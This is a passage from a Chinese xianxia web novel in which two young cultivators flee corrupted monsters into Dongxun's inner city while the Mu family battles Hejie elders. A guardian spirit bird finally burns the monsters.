蔺九尘神情冷淡:“任风煦前辈得知妹妹的消息去了幽州,并在幽州化祟,鹤阶赶来当着众人的面擒拿了任前辈,既坐拥除祟威名,又能光明正大将前辈带回鹤阶羁押。” 徐无咎裹了裹身上的披风,抵挡吹来的寒风:“嗯,他的秽毒应也是遭鹤阶算计,我义父一直在查慕峥家主的事情,欲为挚友雪恨,应是查到了什么才遭遇不测,恐怕这其中还有应逐的手笔,那个他一直辅佐信任的家主。” 这世道也真是奇怪,好人被算计得家破人亡,蝇营狗苟之辈却赚得盆满钵满,名声和权力都坐拥在怀。 蔺九尘垂眸,拳头捏得极紧,沉声道:“可他们做这些事情究竟是要干什么,只为了夺我慕家十二辰吗,那又为何要对付东浔,此次东浔之难绝非临时起意,怕是许多年前便有计谋了。” 对付慕从晚,谋杀慕峥尚能理解,为了十二辰,因此要除去慕家的羽翼,重挫慕家。 可如今竟连实力强悍的东浔闻家都敢对付,且应当不止要对付闻家,鹤阶到底在图谋什么? 尚不等徐无咎回答,灵舟忽然剧烈摇晃,徐无咎一个没留意,竟直接从舟上翻下,蔺九尘眼疾手快,一把抓住他的衣袖将他又扯了回来。 尚在甲板上的弟子们皆都立刻找东西稳住自己,蔺九尘厉吼:“将甲板阵法打开!” 上百艘灵舟同时打开护舟阵法,船舱内的弟子们皆都涌了出来,在舟上严阵以待。 朝蕴也急匆匆走出,她眉眼冷淡,站至最前头,冷眼瞧着虚空中悬停的鹤阶弟子们,以及那些弟子身前,三位衣衫缥缈的鹤阶长老。 虚空中一人对她笑道:“朝家主,好久不见啊,不知是否还记得我呢,上次见你还是慕家主身死之时,他的尸身可是在下送回来的呢。” 朝蕴握紧手中的剑,剑柄突起的沟壑膈在掌心,她咬紧牙关,盯着那张刻进骨子里的脸,在十三年前他假模假样送回慕峥的尸身,对着几乎崩溃的她说—— “尽早安葬吧,今后慕家可就靠朝夫人了呢,可一定要护好两个女儿,不要早早去寻了她们的父亲。”- 远远瞧见西侧城门的祟种之时,慕夕阙无声攥紧手,盯着那张周正的脸。 师盈虚长得很像师听渊,他们的眉眼中都有股不服输、不怕事的英气,因着慕家与鹤阶的事情,师听渊明面不同意师盈虚和她多接触,怕日后为师家带来祸患。 可师听渊从未阻拦过她来青城,若慕夕阙来,他虽表面冷淡,在礼遇上却并未亏待过她,师家大门永远为她敞开。 慕夕阙尊敬这位师家家主。 可如今,慕夕阙也必须要对他出手。 她跃上一栋十几层高的阁楼,拔剑朝师听渊劈去。 那只祟种觉察到她,骇然抬眸,冷眼瞧着她,身子一晃便闪至慕夕阙面前,长刀带着撼山动地的力道朝她劈下。 长刀劈到慕夕阙那柄细长的银剑上,反冲的威压顷刻间将她的经脉震碎几根,腕骨发麻,慕夕阙咬牙咽下嘴里的血,吸引师听渊将注意力放在她身上。 而与此同时,师听渊的背后,一抹青影眨眼间闪现,青剑锐利,一剑祭出,直接劈向他的脊背。 师听渊生生挨了这一剑,顿时血肉绽开,可祟种不知疼痛,他回身一掌拍至闻惊遥的肩头,转身闪至对面的阁楼,随后足尖一踮,身子化为一道流影朝他们二人同时攻来。 慕夕阙和闻惊遥默契十足,一攻一守,一引一杀。 而城外,白望舟在水镜内瞧见西侧城门的战况,眸光一亮。 “他们竟同时出来了,我就猜这两个不怕事的小辈定会来除这最后一个祟种!” 一旁的闻远鸿瞧见水镜内的战况,低头问道:“师听渊先前已经历一场恶战,如今重伤,怕是不敌慕二小姐和我家少主。” 白望舟当然看得出来,慕夕阙和闻惊遥有着从小一起长大的默契,两人多次过招,对彼此的招式都格外熟悉,她守他便攻,她攻他便守,甚至一个眼神都不需要交换。 师听渊一个没有神智只知道盲打的祟种岂能懂这些战术? 白望舟又懒洋洋坐回去,颇有兴致盯着水镜中的战局,问道:“你确定闻承禺已死?” “是。”闻远鸿说道,“一剑穿心,神仙来了也难救。” “你可知为何闻承禺要他们退至内城,这其中有无计谋?” 闻远鸿想了想,说道:“内城的结界玉灵最是强悍,若家主死后,闻家如今无主,没叛咱们的长老也就几个人,如今还战死一半,单靠我家少主怕是守不住,只能退守内城等待救援。” 白望舟悠悠看他:“你确定?” 闻远鸿脊背一僵,能觉察出白望舟的威胁和杀意,若他猜错了闻承禺的用意,届时鹤阶的损失恐怕要由他来担。 可他想了又想,只能想到这些。 “是,在下与闻家主从小一起长大,他从未怀疑过我,先前也和我提及过若有朝一日他出事,便召集所有人退居内城静待旁支来救。” 白望舟笑了两声,拍拍他的肩膀:“长老不必这般小心翼翼,咱们认识几十年了,待除了闻惊遥,嫡传无人,日后整个闻家还不是你们说了算?” 闻远鸿笑笑,讷讷应下:“是。” 白望舟收回目光,抬手对身旁弟子吩咐:“告诉里面的人,趁闻惊遥和慕夕阙都在这里,把他们都放出来。” 身旁的弟子犹豫:“可是……燕少主说不得伤慕二小姐性命,否则咱们与燕家的合作……” 白望舟斜他一眼,在弟子恐惧地低下头后,他又抬手,像个长辈一般抚摸弟子的脑袋。 “又没说要杀慕二小姐,废了她的修为,燕少主岂不是更好拿捏她了?否则修为这般强盛的慕二小姐,对燕家少主来说,不是个悬在头顶随时会落下的利刃吗?” 弟子连连应道:“是。” 白望舟盯着水镜中倒映出的战局,目光落在慕夕阙的身影上。 世人都拿燕如珩和闻惊遥比,两位都是年轻世家弟子中的佼佼者,为人却截然不同,表面看着闻少主更冷淡无情,但实际,燕如珩远比闻惊遥更心狠。 闻少主喜欢那慕二小姐,会用自己给她当剑靶子,盼着她更加强大,即使知晓那慕二对他没多少情谊,仍愿意将闻家送至她面前,让东浔闻家成为淞溪慕家的保护伞。 而燕少主喜欢一个人,是要将她的羽翼折断,握在自己手中,完完全全掌握,要摔碎一个天才,让她成为只能依赖自己的伴侣。 可白望舟更欣赏燕如珩。 心这般狠辣,才能成大事啊。 他盯着远处的战局,听着城内簌簌的打斗声。 随着几道灵柱从东西南北个个角落冲天而起,浓重的秽气再次席卷整个东浔主城。 慕夕阙在闻惊遥的掩护下,一剑斩落师听渊的脑袋。 她只看了眼落在地上的脑袋,师听渊灰白的眼睛似乎动了动,接着悄然闭上。 慕夕阙别过头,胡乱揉了揉脸,似乎在擦脸上的污垢。 闻惊遥并未说话,他们站在高阁上,看着十几只祟种从四方急速朝他们逼来。 “夕阙,他们出来了。” 慕夕阙塞了瓶丹药给闻惊遥,淡声道:“止血保命的。” 视野中已经能看见那些祟种的影子了,慕夕阙翻身跃下高楼,和闻惊遥一同迅速朝内城奔去。 能不能活命,就看他们能不能在这些祟种的围攻下跑回内城了。 慕夕阙握紧手中的剑,正前方,一只祟种从东边的街巷忽然出现,灰白的眼睛骇然盯着他们。 第38章 第 38 章 青鸾 “上去!” 慕夕阙低声厉喝, 两人一同跃上房檐,迅速避开那只堵在街头的祟种。 他们在楼阁台榭上瞬移,只有从上方走才是最快的近道, 刚攀上一栋高楼,从烟囱后面陡然冒出一柄长刀, 刀刃划出磅礴的利风, 一刀劈了下来。 慕夕阙和闻惊遥同时朝两侧退开,而那刀光落在青瓦上,周围如蛛网般散开。 “夕阙, 跳!” 几乎在闻惊遥声音落下的刹那,两人同时跃下高楼,慕夕阙避开从身后逼来的祟种, 而闻惊遥也躲开另一只祟种, 他们头也不回, 并不恋战, 加快燃动灵力朝内城奔去。 可要跑也不是这般容易的事情, 便是上辈子,慕夕阙也没见过这么多祟种,几乎在他们刚穿过这条街, 下一条街上便会冒出一只祟种。 或许是从头顶劈下,又或许从某块墙后破壁而出, 总之这些祟种根本不知疼痛, 完全杀疯了般冲他们劈来。 即使是躲,两人也难免受伤。 利刃砍在慕夕阙的胳膊上, 若非她躲得及时,怕是那条胳膊都能被斩断。 而趁她躲避的时候,一只祟种从天而降, 横劈而下。 青剑从侧方击来,拦住那柄朝慕夕阙劈来的长刀,闻惊遥扣住她的手腕,一把将她甩到侧上方的屋檐,随后他自己身子后仰,躲过那只从正面攻来的祟种,接着头也不回,和慕夕阙一同奔向内城。 那是他们唯一的活路。 若是敢停下几息功夫,他们便会被祟种团团围住,一旦被包围,两个人必是死路一条,因此他们即使身上被砍出了十几道伤痕,连骨头都裸露了出来,仍不能停下。 慕夕阙纵身跃上一栋高阁,避开一只祟种的杀招,从一间房舍的窗边经过时,只是一息功夫,她身子一滞,猛然回眸看去。 “夕阙!”闻惊遥倏然赶来,扣住她的腰身将她往后拖拽,避开一只不知何时追上来的祟种,随后他握紧她的手,拉着她往内城奔去。 慕夕阙回过头,边跑边说:“里面有人。” 闻惊遥几乎瞬时提起了心,侧眸看来:“闻家弟子确保外城已无人。” 慕夕阙沉声道:“里面确实有人。” 两人同时避开窜出的祟种,再次汇合,神情冷肃。 “夕阙——” “救不了!”慕夕阙冷声道,“没办法救,你我若掉头回去,毫无疑问,我们会死。” 闻惊遥薄唇紧抿,迎面吹来的晨风森寒,带来满城的血气,他们边跑边躲。 可他的速度慢了一些,他在犹豫。 慕夕阙厉然回眸,拽住他的手腕将他拖离,躲开一根射来的利箭。 “闻惊遥,闻家弟子已确定无人才退去了内城,这个人忽然冒出来,想必有诈,你得信闻家的弟子!” 闻惊遥当即冷下脸,沉声道:“抱歉,夕阙,是我优柔寡断了。” 他该信的是闻家弟子,闻家弟子既已挨家挨户搜了,那就是确定无人。 他再不回头看一眼,和慕夕阙一同朝着同一个目标,搏他们两人生机,那些追在身后的祟种离他们只有一步之遥,他们两人只能仗着对东浔主城地界的熟悉翻上翻下,借此甩开一段路程。 慕夕阙从未跑过这般艰难的一段路,需要躲过那些祟种的术法,刀光剑影,利箭长棍,五花八门的武器在他们身上留下彻骨的伤,一路奔来不知道塞了多少颗丹药。 闻惊遥握住她的手,又燃了道瞬移符篆,两人的速度顿时快出一倍,这极其消耗灵力,他的脸色白得毫无血色,仿佛下一刻便能晕倒。 直到他们看见了内城的结界玉灵,强悍无匹的青光聚成半圆罡罩,笼罩了整个内三城,察觉闻惊遥灵力快要耗尽,慕夕阙反手扣住他的手,反带着他奔去。 十丈,九丈,八丈…… 慕夕阙咬牙,身后的祟种已经离她只有半步,她拖着闻惊遥,在即将跌进玉灵的前一刻—— 铮然一声,一根灵力化为的利箭从东南侧射来。 慕夕阙当即带着闻惊遥后退,也就是这刹那的功夫,一只祟种轰然朝她劈下。 眼前青影一闪而过,闻惊遥蕴出最后一点灵力,一掌将她甩进结界玉灵内,慕夕阙身子踉跄了两下,刚站稳,瞧见那只祟种的长刀劈在闻惊遥的脊背。 他皱了皱眉,并未叫痛,而他身前冲进玉灵的路已被一只祟种拦住。 他的身后是五只朝他奔来的祟种。 闻惊遥看了慕夕阙一眼,拽下腰间的家主玉牌扔进来,拔剑便要回身应祟,身前身后都是祟种。 他以为慕夕阙明白他的意思。 可比祟种们的杀招更先到来的,是一道骇然的剑光,那几乎燃尽了慕夕阙仅剩的灵力,帮他撑起了一息不到的罡阵。 而与此同时,一条云红色的丝带如游龙般探出,卷住他的腰身,用力将他拽回了内城结界玉灵内,他重重砸在地上,眉头紧皱,随后一块玉牌又扔了过来。 闻惊遥浑身都是伤,眼前其实看不太清,可他还是抬眸看去,模糊的视线中,云红色的身影背离他离开。 他方才扔过去的家主玉牌,又被她扔了回来。 闻惊遥薄唇微抿,吐出喉口的血,咳了几声后撑着剑站起身,他没空看身后正在攻击玉灵的祟种,这十五只祟种要攻破内城玉灵,需要起码一个时辰。 对于如今的他,更担心的是她。 慕夕阙好像生气了。 闻惊遥朝她走去,他的膝盖上有道深可见骨的伤,因着他格外能忍痛,走路虽仍稳当,但每走一步都能淌一片血。 “夕阙。”闻惊遥跟在她身旁,低声唤她,“对不起,不要生我的气。” 他只会说这一句话,每当她生气,似乎他穷尽所学也只能说出这句直白又无用的话。 慕夕阙忽然站定,她侧眸看他:“闻惊遥,我不需要任何人牺牲自己的命来换我的命,也不想欠旁人恩情。” 她便是要杀他,也得光明磊落堂堂正正地杀,而不是由他这般“大度”地舍己为人,强加给她她并不需要的恩情。 闻惊遥垂眸看她,薄唇微抿,喉口滚了滚,他的眼前其实仍旧看不太清,只能抬起手,在衣袖上擦干净,确认擦去血垢后才小心抚上她的脸,毫不嫌弃替她擦去脸上的血迹。 “对不起,我并未要你欠我什么,我只是……”闻惊遥闭上眼,咽下喉口又涌出的血,担心她生气的恐慌如影随形,比伤痛更让他难忍。 慕夕阙并未说话,冷眼看着他。 闻惊遥睁开眼,捧住她的脸,他看不清她的模样,只能遵从内心渴求摸索着她的脸,摸到唇的位置,他偏头,在她唇上轻轻吻了吻。 那轻到几乎忽略不计,不像是吻,更像是闻少主在小心道歉,讨她的原谅。 随后闻惊遥退后了些,小声又专注说道:“只是于我而言,你比我的命重要,我没有办法、也不能看你在我面前受伤。” 有时慕夕阙会觉得,闻惊遥被闻家教得太过于正直不苟了,他整个人无论是生活习性、穿衣打扮,更甚至是行事思绪都比旁人要干净许多,他不觉得自己在说情话,心里想什么,便说什么。 格外实诚,直白又利落。 慕夕阙别过头,避开他的亲吻,缄默不语,朝着内城走去。 闻惊遥失血过多,那道横亘了整片脊背的伤还在渗血,鲜血浸透了他的青衫,他素来爱洁,还是鲜少有这般狼狈之态。 他只能将她给的止血丹药吞下,让自己的神智清明一些,深知她似乎并未消气,闻惊遥寸步不敢远离,跟在她身后,待视线能隐约瞧清楚后,他瞧见她身上七零八落的伤。 “夕阙,你的伤很重。”闻惊遥轻声说道。 慕夕阙应了声:“嗯。” “我这里还有丹药,你先吃下。”闻惊遥握住她的手腕,将剩下的所有灵丹全递过去。 慕夕阙低头看了一眼,又抬眸看向仿佛下一刻便能晕倒的闻惊遥,沉声道:“我觉得你比我更需要。” 闻惊遥抿了抿唇,并未回话,将一半灵丹递到她的唇边。 慕夕阙垂下眼睫,张了张嘴,那些灵丹被他喂到嘴里,入口即化,瞬间便觉得有了些力气。 闻惊遥又将剩下的灵丹吞下,他撑着剑缓了一会儿,脊背那道伤痕虽仍在流血,却没有方才那般狠了。 少年轻轻晃了晃头,让自己清醒一些,随后他慢慢直起身,回身看去,十五双灰白的眼眸冷冷盯着他们,明明祟种没有神智也无法思考,但此刻,他们却觉得,这些祟种似乎在想办法破碎玉灵。 慕夕阙冷声道:“你方才瞧见那利箭从何处射来的吗?” 闻惊遥颔首:“嗯,东南侧。” 两人一同看去,一栋十层高的阁楼尚未被摧毁,仍完好无损,顶层的一扇窗打开,里头并未瞧见人影。 “外三城还有人在,并且想杀你。”慕夕阙淡声道,“那根利箭虽是冲着我来的,却并未朝着我的命门射,他并不想杀我,而是假意引你救我,让你暴露在祟种面前。” 射出那根利箭的人反应如此之快,能迅速根据他们二人的招式判断该如何出手,有如此控局的能力,修为不弱是其次,城府深沉更令人警惕。 “是,他想杀我。”闻惊遥声音平淡,并未有波澜。 慕夕阙侧首看他:“也是,闻少主这颇为正直的性子和什么都敢说的嘴,也不知得罪了多少人。” 她的声音略像在开玩笑,但闻惊遥也知晓,她说的是实话。 他们闻家这些年下来树敌也不少,想杀他的人,无论是忌惮他的天赋,恐他成长起来后东浔闻家会压鹤阶和其余世家一头,又或者是单纯与闻家有仇,总之从他记事起,便知晓有人想杀他。 慕夕阙转身:“先不管了,左右他进不来内城,闻家主提前便知晓外三城有祟种吗?” “应是。”闻惊遥淡声道,“内城看守格外森严,每月的各项事务都需要父亲亲自过目,而外三城则由那些长老把控,因此如果闻家出叛贼,埋在东浔的祟种大抵会藏在外城,若在内城把守森严,很难悄无声息躲过我父亲这么多年。” 慕夕阙点点头,闻惊遥说的和她猜的大差不差。 以闻承禺的城府,她并不觉得他会这般白白被人算计,更可能是他早就觉察了些苗头,顺水推舟让鹤阶放出所有的祟种,一网打尽。 这么多祟种就算是他提前觉察,若一旦挑明,鹤阶一次性放出所有祟种,那么外三城的百姓怕是一个都活不了。 在见到鹤阶只放出五只祟种,闻承禺便明白,鹤阶的目的是试探闻承禺是否有防备,以及东浔闻家的战力如何,免得将这些年辛苦埋下的祟种都搭进去。 闻承禺也假意抵抗,实则心下早已算好,舍了外三城,借机让闻家弟子带走外三城的所有百姓,营造出闻家毫无防备只能退守的假象。 当他死后,鹤阶看出东浔毫无准备与计谋,便再无忌惮,自是要想办法趁此刻重创闻家,杀了闻惊遥。 那么如今消息封锁,东浔遭难,这一次便是最好的时机。 慕夕阙笑了一声:“闻家主谋略深沉,连自己的命都能为此舍弃,甚至还会用仅剩的儿子为引,他就不怕你我真的赶不回内城,全数死在这里?” “又或者。”慕夕阙站定,转身看身后的闻惊遥,“内城玉灵不足以抵挡这些祟种,所有祟种一举攻入内城?” 闻惊遥沉默,并未说话。 闻承禺在赌。 赌鹤阶会被他迷惑,从而放下警惕,放出所有祟种追杀闻惊遥和慕夕阙,并攻打内城。 赌闻惊遥和慕夕阙能活下来,将全城祟种引到这里。 赌内城结界玉灵可以抵挡起码一个时辰。 如今来看,他赌对了。 慕夕阙接着走,背离身后被阻隔在玉灵外的祟种,朝仍旧祥和的内城走。 “有时我也在想,你们闻家的人,真的有感情吗?” 还是只有护佑东浔、持正为民的责任呢?- 在看到霄凛之时,朝蕴那柄剑险些便要出鞘了。 她握紧拳头,却无法克制澎湃汹涌的杀意,在慕峥走后的那几年她浑浑噩噩,却又不得不撑起整个慕家,而迫使她支撑下去的不仅是两个女儿和慕家,更是那几张她恨不得切肤剁骨的脸。 慕峥的尸身被毁得不成样子,其中便有霄凛的刀。 “师娘。”身后有人唤她。 朝蕴强行稳住情绪,冷脸看着虚空中的鹤阶弟子和几位长老。 “你们如此光明正大来阻拦慕家,围杀闻家,不怕十三州其余世家知晓吗?” 霄凛笑了笑,眼尾褶子都炸开了花,笑着说:“知晓是知晓,朝家主不也传信求援了吗,如今应你的又有几家呢?” 畏而不前,明哲保身,便是大多数家族对此事的回应。 若真有这般清正,当年陈家一事便不会那般悄无声息匿迹了。 霄凛似不欲多说,眸光陡然狠厉,抬手一挥,身后鹤阶弟子倾巢而出,攻向慕家的上百艘灵舟。 朝蕴提剑便要冲出灵舟外的结界,蔺九尘一把拽住她:“不可!若出去便是羊入虎口!” “可灵舟结界撑不了多久!”朝蕴厉声道,“擒贼先擒王,得先解决这三个杂碎。” 她挣开蔺九尘,足尖一踮,身如流星冲了出去,一剑劈向霄凛,那些压了十几年的仇恨,日夜恨不得将其碎尸万段的恨* 意让她下手极重。 霄凛侧身避开,被她缠上,其余长老正欲围攻过来帮忙,眼前一花,几个黑影挡在身前。 蔺九尘拔刀劈上,缠住一人。 一位慕家长老同样祭出武器,扣下另外一位长老。 姜榆仰头看着虚空中争斗的几人,慕家长老来了十一位,大多都在支撑灵舟结界,如今能冲出去战斗的人不多,寻常弟子也没办法对付这些鹤阶长老。 眼见一处角落的弟子们要撑不住结界,姜榆快速奔去,祭出上百张符篆,灵力燃烧了灵符后,肆虐大火顷刻现出,从她身旁兵分几路。 灵火冲出结界,离得近的鹤阶弟子尚未来得及撤退,顷刻被火焰燃烧。 而姜榆速度也很快,冲出大火,拔出腰间软剑,以迅雷之势割断数十人的脖颈,血水喷溅。 她在此刻终于明白,为何慕夕阙总催着她练体术练剑法。 弟子们快速上前补齐灵舟的防护结界。 姜榆跃至甲板,双手结印,冲击的罡风将她的鹅黄襦裙和头发吹起,胡乱飞舞着,她眼眸冷厉,祭出先慕家主穷尽一生研究的至强杀招。 两仪阴阳,四象归位。 阴阳圆盘自她的脚下出现,晦涩经文光速旋转,那圆盘越来越大,笼罩整艘灵舟,以及其后的所有慕家灵舟,四根天柱从东西南北四极拔地而起,天柱中灵力聚成旋涡。 姜榆划破掌心,跪地按倒,血沿着阴阳圆盘流向四极。 在看到四极阵出现的刹那,所有修习慕家阵术的弟子皆明白,上百人厉然划破掌心,将血流进四极阵中。 四根天柱彻底凝实,可绞杀人的罡风从天柱中轰然迸发。 慕峥乃阵术大能,先慕家主的四象阵更是阵术中绝顶一列的杀招,而姜榆于阵术上的天赋,足以承慕峥衣钵,她学了这个没什么记忆的师父毕生心血,并将其传授给所有慕家习阵的弟子。 漫天血雾炸开。 虚空中的霄凛眸光一冷,一掌打在朝蕴肩头,将她重重摔向甲板。 “师娘!” “家主!” 离她最近的姜榆不顾虚弱的身子,扑上前接住她,和她一起砸出数十丈远。 不等她们起身,霄凛的身影与剑光化为一体,直接刺穿结界,朝着他们冲来。 蔺九尘瞧见,瞳眸一缩,竟让面前的鹤阶长老钻了空子,一剑朝他的心口捅来。 铮然两声。 捅向蔺九尘的剑被一柄折扇击飞,随后一道金光急速冲来,一脚踹向鹤阶长老的胸口,将这个元婴满境的长老从万丈高空踹落,砸得粉身碎骨。 而霄凛捅向朝蕴的剑也被一人拦住。 徐无咎单手握棍,逆冲经脉调动仅剩的所有灵力,一棍打向霄凛的胸口,将他打出数十丈远,为朝蕴赢得起身反击的时间。 徐无咎吐出一口血,身后的姜榆赶忙接住他:“你别死啊,我师姐花了老大力气救你回来的!” 他并未说话,仰头看向虚空。 一个金光闪眼的身影悬停在空中,方才蔺九尘便是他救下的。 见到随泱,蔺九尘怔愣了瞬,连下方火热的打斗战局都无暇顾及。 “怎么是你?” 他见过随泱一面,知晓他是桃花阁之主,但也仅有一面之缘。 随泱脸色还有些白,似乎重伤刚愈,仍旧摇着那把昂贵华丽的折扇,笑盈盈说道:“你师妹救我一命,我们是朋友,朋友家有难,自是要来的。” 蔺九尘当即反驳:“我师妹从不与人轻易交友的,你——” “啧,你看你还不信。”不等他说完,随泱打断他,却并未解释慕夕阙何时救下了他,而是看向下方鹤阶弟子和慕家弟子的争斗,“你要清楚,单凭你们没办法冲出来,你们之中修为最高不过是你,才元婴满境,朝家主并不擅修行。” 蔺九尘皱眉,心下一沉。 随泱又笑起来:“但加上我就不一样了。” 说罢,蔺九尘眼前一花,随泱化为一道金光冲入灵舟,拽出被霄凛重伤的朝蕴,一拳将霄凛击出灵舟,随后他停也不停,飞身上前压着人打。 打架这么凶的,除了闻惊遥和慕夕阙,他也就只见过一个随泱了。 蔺九尘皱眉,不敢停歇,和另一位慕家长老一同应敌那位鹤阶长老。 而船舱内,是如今仅剩的安宁之地。 慕从晚摘了幕笠,端坐在木椅中,她并无修为,出去也只会拖后腿,如今能做的,只有坐在这里等待。 桌上放了个长约三尺的檀木盒,那足以令十三州动荡的宝物十二辰,便放在这么一个普通的木盒中,好似这里面装的是一根金钗,一卷书画。 慕从晚抬手抚摸木盒,微微荧光自木盒中溢出。 “你喜欢我阿妹是吗?”慕从晚轻声问它,“她足够强悍,我知你想认她为主,除了主人外无人可以调令你,可如今,你得帮我一次。” “如果你不帮我,小夕也会死的,你认可的人便不会再存活于这世间。” 慕从晚神情平淡,打开了木盒。 刺目的金光冲破禁锢,像炸开的烟火般直入云霄。 而千里之外,守在鹤阶禁地的长老们陡然睁开眼,望向高台上供奉的篆盘。 “不好,十二辰现世,快打开禁制!” 可这块篆盘似乎觉察到了另一半的气息,同属于一块阴阳神石,它们同受天地神灵的恩惠,又将这福泽赐予世间,每当秽毒出现,器灵便会苏醒。 天罡篆已苏醒多日,在今日终于听到了另一块石头冲破云霄、足以传扬千里的召唤。 鹤阶的阵术尚未完全打开,这块被扣在鹤阶的篆盘爆发出强烈的光,急速冲出,所过之处燃起熊熊大火,几乎要烧毁整个鹤阶禁地。 身后看守天罡篆的长老们赶忙去追,皆都慌乱不能自已,若天罡篆逃窜,他们便是有十条命都不够赔的。 可刚冲出禁地,便看到远处一道高挑的身影踱步走来,他们几乎只看到那人的衣摆便急忙低下头,生怕瞧见脸。 若看到这位主子的脸,那才是真的必死无疑。 年轻的男子走来,如玉的手紧紧攥着一块疯狂挣扎的圆盘,他动用灵力强行压迫,篆盘上竟浮现出一些晦涩的篆文,那些文字似乎是种咒术。 天罡篆震动的声音越来越大,竟让那些鹤阶长老无端觉得……这块神器似乎很痛苦。 器灵在被折磨。 有人笑了一声,声音轻而悦耳,那些鹤阶长老又将头俯得更低了些。 “几千年了,你还学不会老实,想出去寻另一块神石?” 他收紧手,骨节分明的手用力,将天罡篆几乎捏碎,感知到里头的器灵在哀嚎,这让他愉悦极了,握着那块篆盘朝禁地走去,看到周围的烈火,啧啧两声。 “脾气真大,还得再治治你。”- 而东浔城外,白望舟冷着脸,嗤了一声:“两个小辈跑得还挺快,连燕少主那一箭也未能取了闻少主的性命。” 一旁的闻远鸿不敢说话,紧紧盯着水镜。 白望舟斜他一眼:“你确定闻承禺没有后手?” 闻远鸿心下不安,总觉得这些事似乎不如眼前这般简单,可已走到这一步,若他在此刻改口,那鹤阶也定不会放过他。 “是,在下确定。” 白望舟收回目光,懒洋洋盯着水镜中呈现的战局。 随着一声厉哨响起,十几只祟种如得到音讯,疯狂攻击内城的结界玉灵。 慕夕阙和闻惊遥回到闻家主宅之时,远远便瞧见了庄漪禾带着一群弟子守在门口,看着他们两个人走来。 闻惊遥走至她面前:“阿娘。” 庄漪禾忽然松了口气,这么久以来强行伪装出来的坚强被击碎,她闭上眼,一滴泪无声坠落,挺直的脊背也悄然弯了些。 一旁的闻家长老安抚道:“夫人,如今城内祟种还有十五只,内城玉灵撑不到一个时辰,援兵恐也赶不过来。” 闻家弟子们忧心忡忡,仅凭他们便是全数战死,也不可能护得住主城的百姓们。 阴霾似乎笼罩了整个东浔主城,他们望向远处,只能握紧手中的剑,就算要死,也总得死在妇孺孩童之前。 庄漪禾睁开眼,望向远处正东城门,隔了这么远,她好似能瞧见数十年前,闻承禺在那里迎她入城,穿着一身婚服,负手而立。 他对她说:“两家定亲,日后灵湘有难,东浔会不遗余力去救,同理,若东浔有难,也望夫人能撑一把。” 纵使旁人不知他的用意,与他日夜共枕、朝夕相处的她又如何不知? 庄漪禾双手交叠在身前,姿态肃重,于众人面前,望向远处已被摧毁大半的东浔外城。 他托她做的事,她自是舍命不渝。 庄漪禾飞身上前,拽下闻惊遥腰间的家主玉牌,悬立在虚空。 罡风吹动她周身破烂的衣裙,那块青色的家主玉牌在虚空旋转,簌簌的利声却像是在召唤掩埋在这座城下的生灵。 庄漪禾厉声骂道:“闻承禺,你个混蛋!” 闻家弟子皆愣了下,闻家家规不许辱人,便是同门都不会对彼此诋毁辱骂,更何况是庄漪禾这个素来端庄温和的家主夫人,骂的人还是他们的家主。 可这一声看似辱骂的话,却又好像是宣泄了她几十年压抑的情绪,他们甚至……听出了一丝哭腔。 话音落下,无数道拔地而起的青色光柱同时从东浔主城内各个街道迸发,聚向一处,这一刻仿佛无数道流星从地底倒涌向虚空,盈千累万的闻家玉符从每个尸身上飞射而出,不计可数的玉符在虚空中破碎,又被一股无形的灵力重聚。 慕夕阙和闻惊遥仰头看着,看那些死去的闻家生灵被埋在雾璋山下的东浔玉灵召唤出来,生魂之力凝聚成一只身长几百丈,背覆流羽的青鸾鸟,它扬天啼鸣,羽披疾风,在东浔主城上空盘旋,直冲云霄。 那只青鸟镇守在雾璋山下将近万年,只现世过两次。 万年前,灾厄降世,玉灵召集所有死去的闻家弟子的生灵护佑了这座城一次。 这是第二次。 一座城有一座城的玉灵,它既是结界,更是信仰,每个玉灵只能有一人与之相沟通。 淞溪玉灵认朝蕴,而东浔玉灵则认闻承禺。 当与它直接感应的家主死去时,结界玉灵便会苏醒,听从家主遗命,凝出这座城的最后一击。 慕夕阙恍然间想起来,慕家的族史记载,淞溪玉灵名唤金龙。 而东浔玉灵…… 身旁的少年轻声开口:“它叫青鸾。” 这是闻惊遥第一次见青鸾。 作者有话说:每个家族都有结界玉灵,玉灵是活的~所以咱们之前说的“鹤阶要杀玉灵”,是真的杀掉,玉灵就相当于是山灵、神兽这一类的存在,每一代的家主们便是他们的契约人,本文设定是每座城都有一座山,玉灵就在山里。 青鸾就是闻家主的后手~ 第39章 第 39 章 “这样的我,你怎么会喜…… 看见青鸾的那一刻, 慕夕阙想的是自家的金龙。 若要灭一个家族,必定要先杀玉灵,金龙是创世时便生活在琼筵山的山灵, 后来慕家老祖在琼筵山安家创宗,金龙认可了慕家那位老祖, 才自愿成为慕家的玉灵。 它的实力并不弱, 靠十二辰供给,可前世由于她带着十二辰去祭墟镇压秽毒,十二辰衰弱, 金龙也随之陷入休眠,也给了鹤阶可乘之机,一击斩杀了玉灵。 慕家所有防线在最开始便被击破, 以至于被鹤阶和其余世家打得节节败退。 鹤阶的阴谋诡计着实多, 而那个知晓他们慕家玉灵是靠十二辰供给的人, 身份诡谲, 慕夕阙将自己知晓的所有世家大能们想了个遍, 竟无一人能对得上名号。 年纪轻轻能令鹤阶对之言听计从,修为定是不弱,且知晓他们慕家玉灵这等机密要事。 慕夕阙看着青鸾振翅高飞, 啼鸣高昂,长有百丈的尾羽带出利光, 在天将破晓之际盘旋在东浔主城上方, 它的身后是高耸肃重的雾璋山,身下是残垣断壁。 它长鸣一声, 从万丈高空俯冲向外三城,每一根羽毛划破天际之时燃起了熊熊青火,青鸾宛若被火焰包裹, 在看清聚集在内城结界玉灵外的十五只祟种后,怒啼响彻了整个东浔主城。 青鸾直直冲向那些灭世祟种,就如万年前一般,它聚集了所有死去的闻家子弟生灵,孤注一掷,撞向那些妄图屠城的祟种。 它要带着这些亡魂,为他们雪恨,守住这座城,守住那座山。 千丈,百丈,十丈…… 内城聚集了几十万人,或坐在地上仰头去看,或攀上高阁从窗口看去,他们抱着孩子,带着家人,握紧彼此的手,去看这只只活在族史中的玉灵。 它撞向那十五只祟种。 青火肆虐,轰然燃起,熊熊烈火吞噬一切,将那足以屠戮满城人的十五只祟种用这生魂之力聚成的火焰围困。 唳鸣振天,声驰千里。 青鸾在,雾璋山便在,东浔主城便绝不会亡。 慕夕阙从头到尾没眨下眼睛,当看到青火吞噬了整个东浔外三城,她闭上眼,恍惚间有一种无形的疲累涌向全身。 十五只祟种便需要闻承禺舍了自己的命,唤出青鸾,以牺牲整个外三城为代价,将这些这么多年来埋在东浔城下的祟种击杀,除掉东浔灭城的最大隐患。 